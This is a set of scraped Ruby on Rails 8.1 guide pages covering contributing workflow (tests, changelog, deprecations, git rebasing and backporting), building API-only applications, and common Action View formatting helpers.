You can also run any single test separately:

```
$ ARCONN=mysql2 bundle exec ruby -Itest test/cases/associations/has_many_associations_test.rb
```

To run a single test against all adapters, use:

```
$ bundle exec rake TEST=test/cases/associations/has_many_associations_test.rb
```

You can invoke `test_jdbcmysql`, `test_jdbcsqlite3` or `test_jdbcpostgresql` also. See the file `activerecord/RUNNING_UNIT_TESTS.rdoc` for information on running more targeted database tests.

#### [5.7.12. Using Debuggers with Test](#using-debuggers-with-test)

To use an external debugger (pry, byebug, etc), install the debugger and use it as normal. If debugger issues occur, run tests in serial by setting `PARALLEL_WORKERS=1` or run a single test with `-n test_long_test_name`.

If running tests against generators, you will need to set `RAILS_LOG_TO_STDOUT=true` in order for debugging tools to work.

```
RAILS_LOG_TO_STDOUT=true ./bin/test test/generators/actions_test.rb
```

### [5.8. Warnings](#warnings)

The test suite runs with warnings enabled. Ideally, Ruby on Rails should issue no warnings, but there may be a few, as well as some from third-party libraries. Please ignore (or fix!) them, if any, and submit patches that do not issue new warnings.

Rails CI will raise if warnings are introduced. To implement the same behavior locally, set `RAILS_STRICT_WARNINGS=1` when running the test suite.

### [5.9. Updating the Documentation](#updating-the-documentation)

The Ruby on Rails [guides](https://guides.rubyonrails.org/) provide a high-level overview of Rails' features, while the [API documentation](https://api.rubyonrails.org/v8.1.4/) delves into specifics.

If your PR adds a new feature or changes how an existing feature behaves, check the relevant documentation and update it or add to it as necessary.

For example, if you modify Active Storage's image analyzer to add a new metadata field, you should update the [Analyzing Files](active_storage_overview.html#analyzing-files) section of the Active Storage guide to reflect that.

### [5.10. Updating the CHANGELOG](#updating-the-changelog)

The CHANGELOG is an important part of every release. It keeps the list of changes for every Rails version.

You should add an entry **to the top** of the CHANGELOG of the framework you modified if you're adding or removing a feature, or adding deprecation notices. Refactorings, minor bug fixes, and documentation changes generally should not go to the CHANGELOG.

A CHANGELOG entry should summarize what was changed and should end with the author's name. You can use multiple lines if you need more space, and you can attach code examples indented with 4 spaces. If a change is related to a specific issue, you should attach the issue's number. Here is an example CHANGELOG entry:

```
*   Summary of a change that briefly describes what was changed. You can use multiple
    lines and wrap them at around 80 characters. Code examples are ok, too, if needed:

        class Foo
          def bar
            puts 'baz'
          end
        end

    You can continue after the code example, and you can attach the issue number.

    Fixes #1234.

    *Your Name*
```

### [5.11. Breaking Changes](#breaking-changes)

Anytime a change could break existing applications, it's considered a breaking change. To ease upgrading Rails applications, breaking changes require a deprecation cycle.

#### [5.11.1. Removing Behavior](#removing-behavior)

If your breaking change removes existing behavior, you'll first need to add a deprecation warning while keeping the existing behavior.

As an example, let's say you want to remove a public method on `ActiveRecord::Base`. If the main branch points to the unreleased 7.0 version, Rails 7.0 will need to show a deprecation warning. This makes sure anyone upgrading to any Rails 7.0 version will see the deprecation warning. In Rails 7.1 the method can be deleted.

You could add the following deprecation warning:

```
def deprecated_method
  ActiveRecord.deprecator.warn(<<-MSG.squish)
    `ActiveRecord::Base.deprecated_method` is deprecated and will be removed in Rails 7.1.
  MSG
  # Existing behavior
end
```

#### [5.11.2. Changing Behavior](#changing-behavior)

If your breaking change changes existing behavior, you'll need to add a framework default. Framework defaults ease Rails upgrades by allowing apps to switch to the new defaults one by one.

To implement a new framework default, first create a configuration by adding an accessor on the target framework. Set the default value to the existing behavior to make sure nothing breaks during an upgrade.

```
module ActiveJob
  mattr_accessor :existing_behavior, default: true
end
```

The new configuration allows you to conditionally implement the new behavior:

```
def changed_method
  if ActiveJob.existing_behavior
    # Existing behavior
  else
    # New behavior
  end
end
```

To set the new framework default, set the new value in `Rails::Application::Configuration#load_defaults`:

```
def load_defaults(target_version)
  case target_version.to_s
  when "7.1"
    # ...
    if respond_to?(:active_job)
      active_job.existing_behavior = false
    end
    # ...
  end
end
```

To ease the upgrade it's required to add the new default to the `new_framework_defaults` template. Add a commented out section, setting the new value:

```
# new_framework_defaults_8_1.rb.tt

# Rails.application.config.active_job.existing_behavior = false
```

As a last step, add the new configuration to configuration guide in `configuration.md`:

```
#### `config.active_job.existing_behavior

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `true`               |
| 7.1                   | `false`              |
```

### [5.12. Ignoring Files Created by Your Editor / IDE](#ignoring-files-created-by-your-editor-ide)

Some editors and IDEs will create hidden files or folders inside the `rails` folder. Instead of manually excluding those from each commit or adding them to Rails' `.gitignore`, you should add them to your own [global gitignore file](https://docs.github.com/en/get-started/getting-started-with-git/ignoring-files#configuring-ignored-files-for-all-repositories-on-your-computer).

### [5.13. Updating the Gemfile.lock](#updating-the-gemfile-lock)

Some changes require dependency upgrades. In these cases, make sure you run `bundle update` to get the correct version of the dependency and commit the `Gemfile.lock` file within your changes.

### [5.14. Commit Your Changes](#commit-your-changes)

When you're happy with the code on your computer, you need to commit the changes to Git:

```
$ git commit -a
```

This should fire up your editor to write a commit message. When you have finished, save, and close to continue.

A well-formatted and descriptive commit message is very helpful to others for understanding why the change was made, so please take the time to write it.

A good commit message looks like this:

```
Short summary (ideally 50 characters or less)

More detailed description, if necessary. Each line should wrap at
72 characters. Try to be as descriptive as you can. Even if you
think that the commit content is obvious, it may not be obvious
to others. Add any description that is already present in the
relevant issues; it should not be necessary to visit a webpage
to check the history.

The description section can have multiple paragraphs.

Code examples can be embedded by indenting them with 4 spaces:

    class ArticlesController
      def index
        render json: Article.limit(10)
      end
    end

You can also add bullet points:

- make a bullet point by starting a line with either a dash (-)
  or an asterisk (*)

- wrap lines at 72 characters, and indent any additional lines
  with 2 spaces for readability
```

Please squash your commits into a single commit when appropriate. This simplifies future cherry picks and keeps the git log clean.

### [5.15. Update Your Branch](#update-your-branch)

It's pretty likely that other changes to main have happened while you were working. To get new changes in main:

```
$ git checkout main
$ git pull --rebase
```

Now reapply your patch on top of the latest changes:

```
$ git checkout my_new_branch
$ git rebase main
```

No conflicts? Tests still pass? Change still seems reasonable to you? Then push the rebased changes to GitHub:

```
$ git push --force-with-lease
```

We disallow force pushing on the rails/rails repository base, but you are able to force push to your fork. When rebasing, this is a requirement since the history has changed.

### [5.16. Fork](#fork)

Navigate to the Rails [GitHub repository](https://github.com/rails/rails) and press "Fork" in the upper right-hand corner.

Add the new remote to your local repository on your local machine:

```
$ git remote add fork https://github.com/<your username>/rails.git
```

You may have cloned your local repository from rails/rails, or you may have cloned from your forked repository. The following git commands assume that you have made a "rails" remote that points to rails/rails.

```
$ git remote add rails https://github.com/rails/rails.git
```

Download new commits and branches from the official repository:

```
$ git fetch rails
```

Merge the new content:

```
$ git checkout main
$ git rebase rails/main
$ git checkout my_new_branch
$ git rebase rails/main
```

Update your fork:

```
$ git push fork main
$ git push fork my_new_branch
```

### [5.17. Open a Pull Request](#open-a-pull-request)

Navigate to the Rails repository you just pushed to (e.g., <https://github.com/your-user-name/rails>) and click on "Pull Requests" in the top bar (just above the code). On the next page, click "New pull request" in the upper right-hand corner.

The pull request should target the base repository `rails/rails` and the branch `main`. The head repository will be your work (`your-user-name/rails`), and the branch will be whatever name you gave your branch. Click "create pull request" when you're ready.

Ensure the changesets you introduced are included. Fill in some details about your potential patch, using the pull request template provided. When finished, click "Create pull request".

### [5.18. Get Some Feedback](#get-some-feedback)

Most pull requests will go through a few iterations before they get merged. Different contributors will sometimes have different opinions, and often patches will need to be revised before they can get merged.

Some contributors to Rails have email notifications from GitHub turned on, but others do not. Furthermore, (almost) everyone who works on Rails is a volunteer, and so it may take a few days for you to get your first feedback on a pull request. Don't despair! Sometimes it's quick; sometimes it's slow. Such is the open source life.

If it's been over a week, and you haven't heard anything, you might want to try and nudge things along. You can use the *contributions* channel in the [Ruby on Rails Discord server](https://discord.gg/d8N68BCw49), or the [rubyonrails-core discussion board](https://discuss.rubyonrails.org/c/rubyonrails-core) for this. You can also leave another comment on the pull request. It's best to avoid pinging individual maintainers directly as we have limited bandwidth and may not be able to look at your PR.

While you're waiting for feedback on your pull request, open up a few other pull requests and give someone else some! They'll appreciate it in the same way that you appreciate feedback on your patches.

Note that only the Core and Committers teams are permitted to merge code changes. If someone gives feedback and "approves" your changes, they may not have the ability or final say to merge your change.

### [5.19. Iterate as Necessary](#iterate-as-necessary)

It's entirely possible that the feedback you get will suggest changes. Don't get discouraged: the whole point of contributing to an active open source project is to tap into the community's knowledge. If people encourage you to tweak your code, then it's worth making the tweaks and resubmitting. If the feedback is that your code won't be merged, you might still think about releasing it as a gem.

#### [5.19.1. Squashing Commits](#squashing-commits)

One of the things that we may ask you to do is to "squash your commits", which will combine all of your commits into a single commit. We prefer pull requests that are a single commit. This makes it easier to backport changes to stable branches, squashing makes it easier to revert bad commits, and the git history can be a bit easier to follow. Rails is a large project, and a bunch of extraneous commits can add a lot of noise.

```
$ git fetch rails
$ git checkout my_new_branch
$ git rebase -i rails/main

< Choose 'squash' for all of your commits except the first one. >
< Edit the commit message to make sense, and describe all your changes. >

$ git push fork my_new_branch --force-with-lease
```

You should be able to refresh the pull request on GitHub and see that it has been updated.

#### [5.19.2. Updating a Pull Request](#updating-a-pull-request)

Sometimes you will be asked to make some changes to the code you have already committed. This can include amending existing commits. In this case Git will not allow you to push the changes as the pushed branch and local branch do not match. Instead of opening a new pull request, you can force push to your branch on GitHub as described earlier in squashing commits section:

```
$ git commit --amend
$ git push fork my_new_branch --force-with-lease
```

This will update the branch and pull request on GitHub with your new code. By force pushing with `--force-with-lease`, git will more safely update the remote than with a typical `-f`, which can delete work from the remote that you don't already have.

### [5.20. Older Versions of Ruby on Rails](#older-versions-of-ruby-on-rails)

If you want to add a fix to versions of Ruby on Rails older than the next release, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 7-0-stable branch:

```
$ git branch --track 7-0-stable rails/7-0-stable
$ git checkout 7-0-stable
```

Before working on older versions, please check the [maintenance policy](maintenance_policy.html). Changes will not be accepted to versions that have reached end of life.

#### [5.20.1. Backporting](#backporting)

Changes that are merged into main are intended for the next major release of Rails. Sometimes, it might be beneficial to propagate your changes back to stable branches for inclusion in maintenance releases. Generally, security fixes and bug fixes are good candidates for a backport, while new features and patches that change expected behavior will not be accepted. When in doubt, it is best to consult a Rails team member before backporting your changes to avoid wasted effort.

First, make sure your main branch is up to date.

```
$ git checkout main
$ git pull --rebase
```

Check out the branch you're backporting to, for example, `7-0-stable` and make sure it's up to date:

```
$ git checkout 7-0-stable
$ git reset --hard origin/7-0-stable
$ git checkout -b my-backport-branch
```

If you're backporting a merged pull request, find the commit for the merge and cherry-pick it:

```
$ git cherry-pick -m1 MERGE_SHA
```

Fix any conflicts that occurred in the cherry-pick, push your changes, then open a PR pointing at the stable branch you're backporting to. If you have a more complex set of changes, the [cherry-pick](https://git-scm.com/docs/git-cherry-pick) documentation can help.

## [6. Rails Contributors](#rails-contributors)

All contributions get credit in [Rails Contributors](https://contributors.rubyonrails.org).

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/api_app.html
----

***

## [1. What is an API Application?](#what-is-an-api-application-questionmark)

Traditionally, when people said that they used Rails as an "API", they meant providing a programmatically accessible API alongside their web application. For example, GitHub provides [an API](https://developer.github.com) that you can use from your own custom clients.

With the advent of client-side frameworks, more developers are using Rails to build a back-end that is shared between their web application and other native applications.

For example, X uses its [public API](https://developer.x.com/) in its web application, which is built as a static site that consumes JSON resources.

Instead of using Rails to generate HTML that communicates with the server through forms and links, many developers are treating their web application as just an API client delivered as HTML with JavaScript that consumes a JSON API.

This guide covers building a Rails application that serves JSON resources to an API client, including client-side frameworks.

## [2. Why Use Rails for JSON APIs?](#why-use-rails-for-json-apis-questionmark)

The first question a lot of people have when thinking about building a JSON API using Rails is: "isn't using Rails to spit out some JSON overkill? Shouldn't I just use something like Sinatra?".

For very simple APIs, this may be true. However, even in very HTML-heavy applications, most of an application's logic lives outside of the view layer.

The reason most people use Rails is that it provides a set of defaults that allows developers to get up and running quickly, without having to make a lot of trivial decisions.

Let's take a look at some of the things that Rails provides out of the box that are still applicable to API applications.

Handled at the middleware layer:

* Reloading: Rails applications support transparent reloading. This works even if your application gets big and restarting the server for every request becomes non-viable.
* Development Mode: Rails applications come with smart defaults for development, making development pleasant without compromising production-time performance.
* Test Mode: Ditto development mode.
* Logging: Rails applications log every request, with a level of verbosity appropriate for the current mode. Rails logs in development include information about the request environment, database queries, and basic performance information.
* Security: Rails detects and thwarts [IP spoofing attacks](https://en.wikipedia.org/wiki/IP_address_spoofing) and handles cryptographic signatures in a [timing attack](https://en.wikipedia.org/wiki/Timing_attack) aware way. Don't know what an IP spoofing attack or a timing attack is? Exactly.
* Parameter Parsing: Want to specify your parameters as JSON instead of as a URL-encoded String? No problem. Rails will decode the JSON for you and make it available in `params`. Want to use nested URL-encoded parameters? That works too.
* Conditional GETs: Rails handles conditional `GET` (`ETag` and `Last-Modified`) processing request headers and returning the correct response headers and status code. All you need to do is use the [`stale?`](https://api.rubyonrails.org/v8.1.4/classes/ActionController/ConditionalGet.html#method-i-stale-3F) check in your controller, and Rails will handle all of the HTTP details for you.
* HEAD requests: Rails will transparently convert `HEAD` requests into `GET` ones, and return just the headers on the way out. This makes `HEAD` work reliably in all Rails APIs.

While you could obviously build these up in terms of existing Rack middleware, this list demonstrates that the default Rails middleware stack provides a lot of value, even if you're "just generating JSON".

Handled at the Action Pack layer:

* Resourceful Routing: If you're building a RESTful JSON API, you want to be using the Rails router. Clean and conventional mapping from HTTP to controllers means not having to spend time thinking about how to model your API in terms of HTTP.
* URL Generation: The flip side of routing is URL generation. A good API based on HTTP includes URLs (see [the GitHub Gist API](https://docs.github.com/en/rest/reference/gists) for an example).
* Header and Redirection Responses: `head :no_content` and `redirect_to user_url(current_user)` come in handy. Sure, you could manually add the response headers, but why?
* Caching: Rails provides page, action, and fragment caching. Fragment caching is especially helpful when building up a nested JSON object.
* Basic, Digest, and Token Authentication: Rails comes with out-of-the-box support for three kinds of HTTP authentication.
* Instrumentation: Rails has an instrumentation API that triggers registered handlers for a variety of events, such as action processing, sending a file or data, redirection, and database queries. The payload of each event comes with relevant information (for the action processing event, the payload includes the controller, action, parameters, request format, request method, and the request's full path).
* Generators: It is often handy to generate a resource and get your model, controller, test stubs, and routes created for you in a single command for further tweaking. Same for migrations and others.
* Plugins: Many third-party libraries come with support for Rails that reduce or eliminate the cost of setting up and gluing together the library and the web framework. This includes things like overriding default generators, adding Rake tasks, and honoring Rails choices (like the logger and cache back-end).

Of course, the Rails boot process also glues together all registered components. For example, the Rails boot process is what uses your `config/database.yml` file when configuring Active Record.

**The short version is**: you may not have thought about which parts of Rails are still applicable even if you remove the view layer, but the answer turns out to be most of it.

## [3. The Basic Configuration](#the-basic-configuration)

If you're building a Rails application that will be an API server first and foremost, you can start with a more limited subset of Rails and add in features as needed.

### [3.1. Creating a New Application](#creating-a-new-application)

You can generate a new api Rails app:

```
$ rails new my_api --api
```

This will do three main things for you:

* Configure your application to start with a more limited set of middleware than normal. Specifically, it will not include any middleware primarily useful for browser applications (like cookies support) by default.
* Make `ApplicationController` inherit from `ActionController::API` instead of `ActionController::Base`. As with middleware, this will leave out any Action Controller modules that provide functionalities primarily used by browser applications.
* Configure the generators to skip generating views, helpers, and assets when you generate a new resource.

### [3.2. Generating a New Resource](#generating-a-new-resource)

To see how our newly created API handles generating a new resource, let's create a new Group resource. Each group will have a name.

```
$ bin/rails g scaffold Group name:string
```

Before we can use our scaffolded code, we need to update our database scheme.

```
$ bin/rails db:migrate
```

Now if we open our `GroupsController`, we should notice that with an API Rails app we are rendering JSON data only. On the index action we query for `Group.all` and assign it to an instance variable called `@groups`. Passing it to `render` with the `:json` option will automatically render the groups as JSON.

```
# app/controllers/groups_controller.rb
class GroupsController < ApplicationController
  before_action :set_group, only: %i[ show update destroy ]

  # GET /groups
  def index
    @groups = Group.all

    render json: @groups
  end

  # GET /groups/1
  def show
    render json: @group
  end

  # POST /groups
  def create
    @group = Group.new(group_params)

    if @group.save
      render json: @group, status: :created, location: @group
    else
      render json: @group.errors, status: :unprocessable_entity
    end
  end

  # PATCH/PUT /groups/1
  def update
    if @group.update(group_params)
      render json: @group
    else
      render json: @group.errors, status: :unprocessable_entity
    end
  end

  # DELETE /groups/1
  def destroy
    @group.destroy
  end

  private
    # Use callbacks to share common setup or constraints between actions.
    def set_group
      @group = Group.find(params[:id])
    end

    # Only allow a list of trusted parameters through.
    def group_params
      params.expect(group: [:name])
    end
end
```

Finally we can add some groups to our database from the Rails console:

```
irb> Group.create(name: "Rails Founders")
irb> Group.create(name: "Rails Contributors")
```

With some data in the app, we can boot up the server and visit <http://localhost:3000/groups.json> to see our JSON data.

```
[
{"id":1, "name":"Rails Founders", "created_at": ...},
{"id":2, "name":"Rails Contributors", "created_at": ...}
]
```

### [3.3. Changing an Existing Application](#changing-an-existing-application)

If you want to take an existing application and make it an API one, read the following steps.

In `config/application.rb`, add the following line at the top of the `Application` class definition:

```
config.api_only = true
```

In `config/environments/development.rb`, set [`config.debug_exception_response_format`](configuring.html#config-debug-exception-response-format) to configure the format used in responses when errors occur in development mode.

To render an HTML page with debugging information, use the value `:default`.

```
config.debug_exception_response_format = :default
```

To render debugging information preserving the response format, use the value `:api`.

```
config.debug_exception_response_format = :api
```

By default, `config.debug_exception_response_format` is set to `:api`, when `config.api_only` is set to true.

Finally, inside `app/controllers/application_controller.rb`, instead of:

```
class ApplicationController < ActionController::Base
end
```

do:

```
class ApplicationController < ActionController::API
end
```

## [4. Choosing Middleware](#choosing-middleware)

An API application comes with the following middleware by default:

* `ActionDispatch::HostAuthorization`
* `Rack::Sendfile`
* `ActionDispatch::Static`
* `ActionDispatch::Executor`
* `ActionDispatch::ServerTiming`
* `ActiveSupport::Cache::Strategy::LocalCache::Middleware`
* `Rack::Runtime`
* `ActionDispatch::RequestId`
* `ActionDispatch::RemoteIp`
* `Rails::Rack::Logger`
* `ActionDispatch::ShowExceptions`
* `ActionDispatch::DebugExceptions`
* `ActionDispatch::ActionableExceptions`
* `ActionDispatch::Reloader`
* `ActionDispatch::Callbacks`
* `ActiveRecord::Migration::CheckPending`
* `Rack::Head`
* `Rack::ConditionalGet`
* `Rack::ETag`

See the [internal middleware](rails_on_rack.html#internal-middleware-stack) section of the Rack guide for further information on them.

Other plugins, including Active Record, may add additional middleware. In general, these middleware are agnostic to the type of application you are building, and make sense in an API-only Rails application.

You can get a list of all middleware in your application via:

```
$ bin/rails middleware
```

### [4.1. Using Rack::Cache](#using-rack-cache)

When used with Rails, `Rack::Cache` uses the Rails cache store for its entity and meta stores. This means that if you use memcache, for your Rails app, for instance, the built-in HTTP cache will use memcache.

To make use of `Rack::Cache`, you first need to add the `rack-cache` gem to `Gemfile`, and set `config.action_dispatch.rack_cache` to `true`. To enable its functionality, you will want to use `stale?` in your controller. Here’s an example of `stale?` in use.

```
def show
  @post = Post.find(params[:id])

  if stale?(last_modified: @post.updated_at)
    render json: @post
  end
end
```

The call to `stale?` will compare the `If-Modified-Since` header in the request with `@post.updated_at`. If the header is newer than the last modified, this action will return a "304 Not Modified" response. Otherwise, it will render the response and include a `Last-Modified` header in it.

Normally, this mechanism is used on a per-client basis. `Rack::Cache` allows us to share this caching mechanism across clients. We can enable cross-client caching in the call to `stale?`:

```
def show
  @post = Post.find(params[:id])

  if stale?(last_modified: @post.updated_at, public: true)
    render json: @post
  end
end
```

This means that `Rack::Cache` will store off the `Last-Modified` value for a URL in the Rails cache, and add an `If-Modified-Since` header to any subsequent inbound requests for the same URL.

Think of it as page caching using HTTP semantics.

### [4.2. Using Rack::Sendfile](#using-rack-sendfile)

When you use the `send_file` method inside a Rails controller, it sets the `X-Sendfile` header. `Rack::Sendfile` is responsible for actually sending the file.

If your front-end server supports accelerated file sending, `Rack::Sendfile` will offload the actual file sending work to the front-end server. This enables Rails to finish request handling and free resources earlier.

You can configure the name of the header that your front-end server uses for this purpose using [`config.action_dispatch.x_sendfile_header`](configuring.html#config-action-dispatch-x-sendfile-header) in the appropriate environment's configuration file.

You can learn more about how to use `Rack::Sendfile` with popular front-ends in [the Rack::Sendfile documentation](https://rack.github.io/rack/main/Rack/Sendfile.html).

Here are some values for this header for some popular servers, once these servers are configured to support accelerated file sending:

```
# Apache and lighttpd
config.action_dispatch.x_sendfile_header = "X-Sendfile"

# Nginx
config.action_dispatch.x_sendfile_header = "X-Accel-Redirect"
```

Make sure to configure your server to support these options following the instructions in the `Rack::Sendfile` documentation.

### [4.3. Using ActionDispatch::Request](#using-actiondispatch-request)

`ActionDispatch::Request#params` will take parameters from the client in the JSON format and make them available in your controller inside `params`.

To use this, your client will need to make a request with JSON-encoded parameters and specify the `Content-Type` as `application/json`.

Here's an example:

```
fetch('/people', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ person: { firstName: 'Yehuda', lastName: 'Katz' } })
}).then(response => response.json())
```

`ActionDispatch::Request` will see the `Content-Type` and your parameters will be:

```
{ person: { firstName: "Yehuda", lastName: "Katz" } }
```

### [4.4. Using Session Middlewares](#using-session-middlewares)

The following middlewares, used for session management, are excluded from API apps since they normally don't need sessions. If one of your API clients is a browser, you might want to add one of these back in:

* `ActionDispatch::Session::CacheStore`
* `ActionDispatch::Session::CookieStore`
* `ActionDispatch::Session::MemCacheStore`

The trick to adding these back in is that, by default, they are passed `session_options` when added (including the session key), so you can't just add a `session_store.rb` initializer, add `use ActionDispatch::Session::CookieStore` and have sessions functioning as usual. (To be clear: sessions may work, but your session options will be ignored - i.e. the session key will default to `_session_id`)

Instead of the initializer, you'll have to set the relevant options somewhere before your middleware is built (like `config/application.rb`) and pass them to your preferred middleware, like this:

```
# This also configures session_options for use below
config.session_store :cookie_store, key: "_your_app_session"

# Required for all session management (regardless of session_store)
config.middleware.use ActionDispatch::Cookies

config.middleware.use config.session_store, config.session_options
```

### [4.5. Other Middleware](#other-middleware)

Rails ships with a number of other middleware that you might want to use in an API application, especially if one of your API clients is the browser:

* `Rack::MethodOverride`
* `ActionDispatch::Cookies`
* `ActionDispatch::Flash`

Any of these middleware can be added via:

```
config.middleware.use Rack::MethodOverride
```

### [4.6. Removing Middleware](#removing-middleware)

If you don't want to use a middleware that is included by default in the API-only middleware set, you can remove it with:

```
config.middleware.delete ::Rack::Sendfile
```

Keep in mind that removing these middlewares will remove support for certain features in Action Controller.

## [5. Choosing Controller Modules](#choosing-controller-modules)

An API application (using `ActionController::API`) comes with the following controller modules by default:

|                                                                      |                                                                                                                                                                                                  |
| -------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `ActionController::UrlFor`                                           | Makes `url_for` and similar helpers available.                                                                                                                                                   |
| `ActionController::Redirecting`                                      | Support for `redirect_to`.                                                                                                                                                                       |
| `AbstractController::Rendering` and `ActionController::ApiRendering` | Basic support for rendering.                                                                                                                                                                     |
| `ActionController::Renderers::All`                                   | Support for `render :json` and friends.                                                                                                                                                          |
| `ActionController::ConditionalGet`                                   | Support for `stale?`.                                                                                                                                                                            |
| `ActionController::BasicImplicitRender`                              | Makes sure to return an empty response, if there isn't an explicit one.                                                                                                                          |
| `ActionController::StrongParameters`                                 | Support for parameters filtering in combination with Active Model mass assignment.                                                                                                               |
| `ActionController::DataStreaming`                                    | Support for `send_file` and `send_data`.                                                                                                                                                         |
| `AbstractController::Callbacks`                                      | Support for `before_action` and similar helpers.                                                                                                                                                 |
| `ActionController::Rescue`                                           | Support for `rescue_from`.                                                                                                                                                                       |
| `ActionController::Instrumentation`                                  | Support for the instrumentation hooks defined by Action Controller (see [the instrumentation guide](active_support_instrumentation.html#action-controller) for more information regarding this). |
| `ActionController::ParamsWrapper`                                    | Wraps the parameters hash into a nested hash, so that you don't have to specify root elements sending POST requests for instance.                                                                |
| `ActionController::Head`                                             | Support for returning a response with no content, only headers.                                                                                                                                  |

Other plugins may add additional modules. You can get a list of all modules included into `ActionController::API` in the rails console:

```
irb> ActionController::API.ancestors - ActionController::Metal.ancestors
=> [ActionController::API,
    ActiveRecord::Railties::ControllerRuntime,
    ActionDispatch::Routing::RouteSet::MountedHelpers,
    ActionController::ParamsWrapper,
    ... ,
    AbstractController::Rendering,
    ActionView::ViewPaths]
```

### [5.1. Adding Other Modules](#adding-other-modules)

All Action Controller modules know about their dependent modules, so you can feel free to include any modules into your controllers, and all dependencies will be included and set up as well.

Some common modules you might want to add:

* `AbstractController::Translation`: Support for the `l` and `t` localization and translation methods.

* Support for basic, digest, or token HTTP authentication:

  * `ActionController::HttpAuthentication::Basic::ControllerMethods`
  * `ActionController::HttpAuthentication::Digest::ControllerMethods`
  * `ActionController::HttpAuthentication::Token::ControllerMethods`

* `ActionView::Layouts`: Support for layouts when rendering.

* `ActionController::MimeResponds`: Support for `respond_to`.

* `ActionController::Cookies`: Support for `cookies`, which includes support for signed and encrypted cookies. This requires the cookies middleware.

* `ActionController::Caching`: Support view caching for the API controller. Please note that you will need to manually specify the cache store inside the controller like this:

  ```
  class ApplicationController < ActionController::API
    include ::ActionController::Caching
    self.cache_store = :mem_cache_store
  end
  ```

  Rails does *not* pass this configuration automatically.

The best place to add a module is in your `ApplicationController`, but you can also add modules to individual controllers.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/action_view_helpers.html
----

***

The following outlines **some of the most commonly used helpers** available in Action View. It serves as a good starting point, but reviewing the full [API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers.html) is also recommended, as it covers all of the helpers in more detail.

## [1. Formatting](#formatting)

### [1.1. Dates](#dates)

These helpers facilitate the display of date and/or time elements as contextual human readable forms.

#### [1.1.1. distance\_of\_time\_in\_words](#distance-of-time-in-words)

Reports the approximate distance in time between two `Time` or `Date` objects or integers as seconds. Set `include_seconds` to true if you want more detailed approximations.

```
distance_of_time_in_words(Time.current, 15.seconds.from_now)
# => less than a minute
distance_of_time_in_words(Time.current, 15.seconds.from_now, include_seconds: true)
# => less than 20 seconds
```

We use `Time.current` instead of `Time.now` because it returns the current time based on the timezone set in Rails, whereas `Time.now` returns a Time object based on the server's timezone.

See the [`distance_of_time_in_words` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/DateHelper.html#method-i-distance_of_time_in_words) for more information.

#### [1.1.2. time\_ago\_in\_words](#time-ago-in-words)

Reports the approximate distance in time between a `Time` or `Date` object, or integer as seconds, and `Time.current`.

```
time_ago_in_words(3.minutes.from_now) # => 3 minutes
```

See the [`time_ago_in_words` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/DateHelper.html#method-i-time_ago_in_words) for more information.

### [1.2. Numbers](#numbers)

A set of methods for converting numbers into formatted strings. Methods are provided for phone numbers, currency, percentage, precision, positional notation, and file size.

#### [1.2.1. number\_to\_currency](#number-to-currency)

Formats a number into a currency string (e.g., $13.65).

```
number_to_currency(1234567890.50) # => $1,234,567,890.50
```

See the [`number_to_currency` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/NumberHelper.html#method-i-number_to_currency) for more information.

#### [1.2.2. number\_to\_human](#number-to-human)

Pretty prints (formats and approximates) a number so it is more readable by users; useful for numbers that can get very large.

```
number_to_human(1234)    # => 1.23 Thousand
number_to_human(1234567) # => 1.23 Million
```

See the [`number_to_human` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/NumberHelper.html#method-i-number_to_human) for more information.

#### [1.2.3. number\_to\_human\_size](#number-to-human-size)

Formats the bytes in size into a more understandable representation; useful for reporting file sizes to users.

```
number_to_human_size(1234)    # => 1.21 KB
number_to_human_size(1234567) # => 1.18 MB
```

See the [`number_to_human_size` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/NumberHelper.html#method-i-number_to_human_size) for more information.

#### [1.2.4. number\_to\_percentage](#number-to-percentage)

Formats a number as a percentage string.

```
number_to_percentage(100, precision: 0) # => 100%
```

See the [`number_to_percentage` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/NumberHelper.html#method-i-number_to_percentage) for more information.

#### [1.2.5. number\_to\_phone](#number-to-phone)

Formats a number into a phone number (US by default).

```
number_to_phone(1235551234) # => 123-555-1234
```

See the [`number_to_phone` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/NumberHelper.html#method-i-number_to_phone) for more information.

#### [1.2.6. number\_with\_delimiter](#number-with-delimiter)

Formats a number with grouped thousands using a delimiter.

```
number_with_delimiter(12345678) # => 12,345,678
```

See the [`number_with_delimiter` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/NumberHelper.html#method-i-number_with_delimiter) for more information.

#### [1.2.7. number\_with\_precision](#number-with-precision)

Formats a number with the specified level of `precision`, which defaults to 3.

```
number_with_precision(111.2345)               # => 111.235
number_with_precision(111.2345, precision: 2) # => 111.23
```

See the [`number_with_precision` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/NumberHelper.html#method-i-number_with_precision) for more information.

### [1.3. Text](#text)

A set of methods for filtering, formatting and transforming strings.

#### [1.3.1. excerpt](#excerpt)

Given a `text` and a `phrase`, `excerpt` searches for and extracts the first occurrence of the `phrase`, plus the requested surrounding text determined by a `radius`. An omission marker is prepended/appended if the start/end of the result does not coincide with the start/end of the text.

```
excerpt("This is a very beautiful morning", "very", separator: " ", radius: 1)
# => ...a very beautiful...

excerpt("This is also an example", "an", radius: 8, omission: "<chop> ")
#=> <chop> is also an example
```

See the [`excerpt` API Documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/TextHelper.html#method-i-excerpt) for more information.

#### [1.3.2. pluralize](#pluralize)

Returns the singular or plural form of a word based on the value of a number.

```
pluralize(1, "person") # => 1 person
pluralize(2, "person") # => 2 people
pluralize(3, "person", plural: "users") # => 3 users
```

